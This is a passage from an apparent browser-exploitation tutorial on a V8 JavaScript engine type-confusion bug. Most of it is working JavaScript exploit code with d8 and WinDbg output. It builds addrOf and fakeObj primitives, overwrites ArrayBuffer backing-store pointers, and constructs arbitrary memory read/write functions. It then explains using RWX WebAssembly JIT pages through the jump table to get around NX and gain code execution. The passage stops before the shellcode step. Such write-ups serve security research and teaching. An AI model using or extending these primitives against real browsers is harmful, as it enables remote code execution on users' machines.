<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x1</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">,</span><span class="na">x2</span><span class="p">:</span> <span class="mf">13.38</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.37</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Subtract 1n from address due to pointer tagging.</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">toBigInt</span><span class="p">()</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] AddrOf Primitive Failed</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now that we have modified our exploit script, we should be able to overwrite an array buffer backing store pointer. Let’s test this!</p>
<p>To start, we’ll modify our exploit code by creating a new array buffer with 1024 bytes of data. Afterwards, we’ll attempt to leak the address of our array buffer and overwrite the backing store pointer with <code class="language-plaintext highlighter-rouge">0x41414141</code>.</p>
<p>Take note that that I have added two <code class="language-plaintext highlighter-rouge">%DebugPrint</code> functions to validate that the addresses we are leaking do coincide with out actual array buffer object, and that we have successfully overwritten the array buffer’s backing store pointer.</p>
<p>The updated code at the end of the script should look similar to mines.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffer</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf1fAddr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address: 0x</span><span class="p">${</span><span class="nx">arrBuf1fAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store Address...</span><span class="dl">"</span><span class="p">)</span>
<span class="c1">// Overwrite Backign Store Pointer with 0x41414141</span>
<span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Original Leaked Data: 0x</span><span class="p">${</span><span class="nx">ret</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
</code></pre></div></div>
<p>Upon executing our updated exploit script within d8, we get the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p15 and p11 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x2a164919360
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
- map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
- elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 000001AEDA203210
- byte_length: 1024
- neuterable
- properties: 0x029264b02cf1 <FixedArray[0]> {}
- embedder fields = {
0000000000000000
0000000000000000
}
...
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Original Leaked Data: 0x1aeda203210
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
- map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
- elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0000000041414141
- byte_length: 1024
- neuterable
- properties: 0x029264b02cf1 <FixedArray[0]> {}
- embedder fields = {
0000000000000000
0000000000000000
}
...
</code></pre></div></div>
<p>As you can see, our exploit script now successfully leaks the address of the array buffer, and we can confirm that the addresses match within the debug output. We also see that the original leaked data, or <code class="language-plaintext highlighter-rouge">ret</code>, returns the original backing store address. Additionally, we see that we have successfully overwritten the backing store pointer with <code class="language-plaintext highlighter-rouge">0x41414141</code>, as shown in the debug output!</p>
<p>With the ability to overwrite the backing store pointer, we can go ahead and continue writing our exploit by building out our memory read/write primitive via the two array buffers. To recap, we need to create two array buffers, leak the address of the second array buffer, and overwrite the backing store pointer of the first array buffer with the address of the second array buffer.</p>
<p>The code to do accomplish this can be seen below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffers</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="c1">// Leak Address of arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2fAddr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address: 0x</span><span class="p">${</span><span class="nx">arrBuf2fAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store Address...</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf1BackingStore</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="nx">arrBuf2fAddr</span><span class="p">);</span>
</code></pre></div></div>
<p>With this, we should be able to overwrite the backing store pointer of <code class="language-plaintext highlighter-rouge">arrBuf1</code> to point to the <code class="language-plaintext highlighter-rouge">arrBuf2</code> object. To do so, we can create a <code class="language-plaintext highlighter-rouge">TypedArray</code> for our first array buffer and read the backing store pointer using a 64-bit unsigned integer via the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array">BigUint64Array</a>. This should provide us with the byte representation of the address of the second array buffer.</p>
<p>The updated code for that will look like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffers</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="c1">// Leak Address of arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2Addr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address: 0x</span><span class="p">${</span><span class="nx">arrBuf2Addr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store Address...</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf1BackingStore</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="nx">arrBuf2Addr</span><span class="p">);</span>
<span class="c1">// Validate Overwrite of Backing Store via TypedArray</span>
<span class="kd">let</span> <span class="nx">view1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf2BackingStore</span> <span class="o">=</span> <span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Backing Store: 0x</span><span class="p">${</span><span class="nx">originalArrBuf2BackingStore</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">)</span>
</code></pre></div></div>
<p>As you can see, at the end of the script to validate the overwrite, we use <code class="language-plaintext highlighter-rouge">%DebugPrint</code> on our <code class="language-plaintext highlighter-rouge">arrBuf2</code> object to confirm that we have the correct backing store address.</p>
<p>Executing our code, we get the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p15 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x7393e19360
[+] Corrupting ArrayBuffer Backing Store Address...
[+] ArrayBuffer Backing Store: 0x15b14db9f20
DebugPrint: 0000007393E19361: [JSArrayBuffer] in OldSpace
- map: 0x00f8c4384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0075a6d10b21 <Object map = 000000F8C43843C1>
- elements: 0x00f30a102cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0000015B14DB9F20
- byte_length: 1024
- neuterable
- properties: 0x00f30a102cf1 <FixedArray[0]> {}
- embedder fields = {
0000000000000000
0000000000000000
}
</code></pre></div></div>
<p>And it works! As you can see in the output, we have successfully leaked the address of the second array buffer and read its backing store pointer, which all match. From here, we can continue building out our memory read and write primitives via our array buffers.</p>
<p>Since all address in within V8 are 32-bit, we’ll use the 64-bit unsigned integer typed array. An example of a read and write primitive built from the example above code can be seen below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">},</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>
<p>To test if this works, let’s try using the <code class="language-plaintext highlighter-rouge">write64</code> memory primitive to write the value <code class="language-plaintext highlighter-rouge">0x41414141n</code> to the second array buffer’s backing store. The code for that would look like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffers</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="c1">// Leak Address of arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2Addr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address: 0x</span><span class="p">${</span><span class="nx">arrBuf2Addr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store Address...</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf1BackingStore</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="nx">arrBuf2Addr</span><span class="p">);</span>
<span class="c1">// Store Original Backing Store Pointer of arrBuf2</span>
<span class="kd">let</span> <span class="nx">view1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf2BackingStore</span> <span class="o">=</span> <span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="c1">// Construct our Memory Read and Write Primitive</span>
<span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">},</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Constructed Memory Read and Write Primitive!</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Write Data to Second Array Buffer</span>
<span class="nx">memory</span><span class="p">.</span><span class="nx">write64</span><span class="p">(</span><span class="nx">originalArrBuf2BackingStore</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="nx">n</span><span class="p">);</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
</code></pre></div></div>
<p>Next, we can use WinDbg again to debug this by setting a breakpoint on <code class="language-plaintext highlighter-rouge">RUNTIME_FUNCTION(Runtime_DebugPrint)</code> and then executing the script. Once we hit the breakpoint, type <code class="language-plaintext highlighter-rouge">g</code> or press <code class="language-plaintext highlighter-rouge">Go</code>, and then press <code class="language-plaintext highlighter-rouge">Shift + F11</code> or “Step Over” to see the debug output in the console.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Finding Overlapping Properties...
[+] Properties p15 and p22 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x39532f0db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
DebugPrint: 0000039532F0DB51: [JSArrayBuffer] in OldSpace
- map: 0x03a3a6384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02ac8fd10b21 <Object map = 000003A3A63843C1>
- elements: 0x009c20b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 000002791B474430
- byte_length: 1024
- neuterable
- properties: 0x009c20b82cf1 <FixedArray[0]> {}
- embedder fields = {
0000000000000000
0000000000000000
}
</code></pre></div></div>
<p>As you can see, the backing store pointer is at the address <code class="language-plaintext highlighter-rouge">0x000002791B474430</code>. Using WinDbg, let’s view that address and confirm that we did in fact write to that buffer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 000002791B474430 L6
00000279`1b474430 00000000`41414141 00000000`00000000
00000279`1b474440 00000000`00000000 00000000`00000000
00000279`1b474450 00000000`00000000 00000000`00000000
</code></pre></div></div>
<p>And there we have it! We have successfully built a memory read/write primitive and can now write data to any location in the V8 heap. With this in place, we can move on to the next step of the exploit, which is gaining remote code execution!</p>
<h1 id="gaining-code-execution">Gaining Code Execution</h1>
<p>With our memory primitives in place, we need to find a way to have V8 execute our code. Unfortunately, we cannot simply write or inject shellcode into random V8 heap regions or into our array buffer because <a href="https://microsoft.fandom.com/wiki/NX_bit">NX</a> in enabled.</p>
<p>This can be verified by using the <code class="language-plaintext highlighter-rouge">vprot</code> WinDbg function on the array buffer’s backing store pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !vprot 000002791B474430
BaseAddress: 000002791b474000
AllocationBase: 000002791b390000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 000000000001b000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
</code></pre></div></div>
<p>As you can see, we only have read and write access to these memory pages, but no execution permissions.</p>
<p>Since we cannot execute our code in these memory pages, we need to find a different solution.</p>
<p>One potential solution is to target JIT memory pages. JIT compilation of JavaScript code requires the compiler to write instructions into a memory page that can later be executed. Since this happens in line with code execution, these pages typically have RWX permissions. This would be a good target for our memory read/write primitives, where we can attempt to leak a pointer from a JIT compiled JavaScript function, write our shellcode to that address, and then call the function to execute our own code</p>
<p>However, in early 2018 the V8 team introduced a protection called <a href="https://github.com/v8/v8/commit/14917b6531596d33590edb109ec14f6ca9b95536">write_protect_code_memory</a> which flips JavaScript’s JIT’s memory page permissions between read/execute and read/write. As a result, these pages are marked as read/execute during JavaScript execution, preventing us from writing malicious code into them.</p>
<p>One way to bypass this protection is to use <a href="https://ctf101.org/binary-exploitation/return-oriented-programming/">Return Oriented Programming (ROP)</a>. With ROP, we can either exploit <a href="https://en.wikipedia.org/wiki/Virtual_method_table">vtables</a> (which store the addresses of virtual functions), JIT function pointers, or even corrupt the stack.</p>
<p>Examples of how ROP gadgets can be used to exploit vtables can be found in the blog post “<a href="https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer/">One Day Short of a Full Chain: Part 3 - Chrome Renderer RCE</a>” and in <a href="https://twitter.com/33y0re">Connor McGarr’s</a> “<a href="https://connormcgarr.github.io/type-confusion-part-2/">Browser Exploitation on Windows</a>” post.</p>
<p>While ROP is an effective technique for exploit development, I like to live by the “Work Smart Not Hard” motto and not have to do a lot of work. Fortunately for us, JavaScript isn’t the only language in V8 that gets compiled, there’s <a href="https://webassembly.org/">WebAssembly</a> too!</p>
<h2 id="basic-webassembly-internals">Basic WebAssembly Internals</h2>
<p>WebAssembly (also known as wasm) is a low-level programming language that is designed for in-browser client-side execution, and it is often used to support C/C++ and similar languages.</p>
<p>One of the benefits of WebAssembly is that it allows for communication between WebAssembly modules and the JavaScript context. This enables WebAssembly modules to access browser functionality through the same Web APIs that are available to JavaScript.</p>
<p>Initially, the V8 engine does not compile WebAssembly. Instead, wasm functions get compiled via the baseline compiler known as <a href="https://v8.dev/blog/liftoff">Liftoff</a>. Liftoff iterates over the WebAssembly code once and immediately emits machine code for each WebAssembly instruction, similar to how SparkPlug emits Ignitions bytecode into machine code.</p>
<p>Since wasm is also JIT compiled, its memory pages are marked with Read-Write-Execute permissions. There is an associated <code class="language-plaintext highlighter-rouge">write-protect-flag</code> for wasm, but it is disabled by default because of the <a href="http://asmjs.org/spec/latest/">asm.js</a> file as explained by <a href="https://twitter.com/spoofyroot/status/1379911787282243584">Johnathan Norman</a>. This makes wasm a valuable tool for our exploit development efforts.</p>
<p>Before we can use WebAssembly in our exploitation efforts, we first need to understand a little bit about its structure and how it works. Unfortunately, I won’t be covering everything about WebAssembly because that in of itself can be a separate blog post. As such, I will only cover the important parts we need to know.</p>
<p>In WebAssembly, a compiled piece of code is known as a “<a href="https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Module">module</a>”. These modules are then <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/module-instantiate.cc">instantiated</a> to produce an executable object called an “<a href="https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Instance#:~:text=A%20WebAssembly.,into%20WebAssembly%20code%20from%20JavaScript.">instance</a>”. An instance is an object that contain all of the <a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Exported_functions">exported WebAssembly functions</a> which allow calling into WebAssembly code from JavaScript.</p>
<p>In the V8 engine, these objects are known as the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.h;l=120"><code class="language-plaintext highlighter-rouge">WasmModuleObject</code></a> and <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.h;l=327"><code class="language-plaintext highlighter-rouge">WasmInstanceObject</code></a> respectively and can be found within the <code class="language-plaintext highlighter-rouge">v8/src/wasm/wasm-objects.h</code> source file.</p>
<p>WebAssembly is a binary instruction format, and its module is similar to a Portable Executable (PE) file. Like a PE file, a WebAssembly module also contains sections. There are about 11 standard sections in a WebAssembly module:</p>
<ol>
<li>Type</li>
<li>Import</li>
<li>Function</li>
<li>Table</li>
<li>Memory</li>
<li>Global</li>
<li>Export</li>
<li>Start</li>
<li>Element</li>
<li>Code</li>
<li>Data</li>
</ol>
<p>For a more detailed explanation of each section, I suggest reading the “<a href="https://rsms.me/wasm-intro">Introduction to WebAssembly</a>” article.</p>
<p>What I want to focus on is the <strong>table</strong> section. In WebAssembly, tables are a mechanism for mapping values that can’t be represented or directly accessed by WebAssembly, such as GC references, raw OS handles, or native pointers. Additionally, each table has an element type that specifies the kind of data it holds.</p>
<p>In WebAssembly, each instance has one designated “default” table that is indexed by the <code class="language-plaintext highlighter-rouge">call_indirect</code> operation. This operation is an instruction that performs a <code class="language-plaintext highlighter-rouge">call</code> to a function within the default table.</p>
<p>In 2018, the V8 development team updated WebAssembly to <a href="https://bugs.chromium.org/p/v8/issues/detail?id=7758">use jump tables for all calls</a>, in order to implement lazy compilation and more efficient tier-ups. As a result, all WebAssembly function calls within V8 call to a slot in that jump table, which then jumps to the actual compiled code (or the <code class="language-plaintext highlighter-rouge">WasmCompileLazy</code> stub).</p>
<p>Within V8, the jump table (also known as the code table) serves as the central dispatch point for all (direct and indirect) invocations in WebAssembly. The jump table holds one slot per function in a module, with each slot containing a dispatch to the currently published <code class="language-plaintext highlighter-rouge">WasmCode</code> corresponding to the associated function. More information on the jump table implementation can be found in the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/jump-table-assembler.h"><code class="language-plaintext highlighter-rouge">/src/wasm/jump-table-assembler.h</code></a> source file.</p>
<p>When WebAssembly code is generated, the compiler makes it available to the system by entering it into the code table and patching the jump table for a particular instance. It then returns a raw pointer to the <code class="language-plaintext highlighter-rouge">WasmCode</code> object. Because this code is JIT compiled, the pointer points to a section of memory with RWX permissions. Every time the corresponding function to the <code class="language-plaintext highlighter-rouge">WasmCode</code> is called, V8 jumps to that address and executes the compiled code.</p>
<p>This RWX memory section pointed to by the jump table is what we want to target with our memory read/write primitives to achieve remote code execution!</p>
<h2 id="abusing-webassembly-memory">Abusing WebAssembly Memory</h2>
<p>Now that we have a better understanding of WebAssembly and know that we need to target the jump table pointer for remote code execution, let’s write some wasm code and explore how it looks in memory so we can better understand how to use it for our exploit.</p>
<p>One easy way to write wasm code is to use <a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a>, which will allow us to write C code and get the outputs of the code buffer and JavaScript code needed to run it. Using the default code to <code class="language-plaintext highlighter-rouge">return 42</code>, we get the following JavaScript code.</p>
